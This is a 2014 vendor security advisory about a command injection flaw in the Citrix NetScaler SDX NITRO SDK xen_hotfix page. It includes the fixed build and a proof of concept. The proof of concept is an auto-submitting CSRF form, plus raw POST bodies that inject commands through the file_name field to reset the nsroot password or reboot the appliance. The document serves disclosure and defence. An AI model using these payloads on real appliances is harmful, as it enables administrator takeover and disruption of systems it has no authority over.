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Command injection vulnerability in Citrix NITRO SDK xen_hotfix page
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Han Sahin, August 2014
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Abstract
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Securify discovered a command injection vulnerability in xen_hotfix page
of the NITRO SDK. The attacker-supplied command is executed with
elevated privileges (nsroot). This issue can be used to compromise of
the entire Citrix SDX appliance and all underling application's and
data.
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Tested version
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This issue was discovered in Citrix NetScaler SDX svm-10.5-50-1.9, other
versions may also be affected.
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Fix
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Citrix reports that this vulnerability is fixed in NetScaler 10.5 build
52.3nc.
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Details
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https://www.securify.nl/advisory/SFY20140806/command_injection_vulnerability_in_citrix_nitro_sdk_xen_hotfix_page.html
This vulberability exists because the file_name parameter submitted to the /nitro/v1/config/xen_hotfix page used in a shell command without proper input validation/sanitation, introducing a command execution vulnerability. The shell command is executed with elevated privileges (nsroot), which allows attackers to run arbitrary commands with these privileges. This issue can be used to compromise of the entire Citrix SDX appliance and all underling application's and data.
The following proof of concept can be used to exploit this issue;
<html>
<body>
<form action="https://SDXHOSTIP/nitro/v1/config/xen_hotfix" method="POST">
<input type="hidden" name="object" value="{"params":{"action":"start"},"xen_hotfix":[{"file_name":"../../etc/passwd;echo nsroot:Securify|chpasswd;"}]}" />
<input type="submit" value="Submit request" />
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
POST /nitro/v1/config/xen_hotfix HTTP/1.1
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object={"params"%3a{"action"%3a"start"}%2c"xen_hotfix"%3a[{"file_name"../../etc/passwd;reboot;"}]}
or
object={"params"%3a{"action"%3a"start"}%2c"xen_hotfix"%3a[{"file_name"%3a"../../etc/passwd;echo nsroot:han|chpasswd;"}]}
Due to insufficient Cross-Site Request Forgery protection, it is possible to exploit this issue by tricking a logged in admin user into visiting a specially crafted web page.
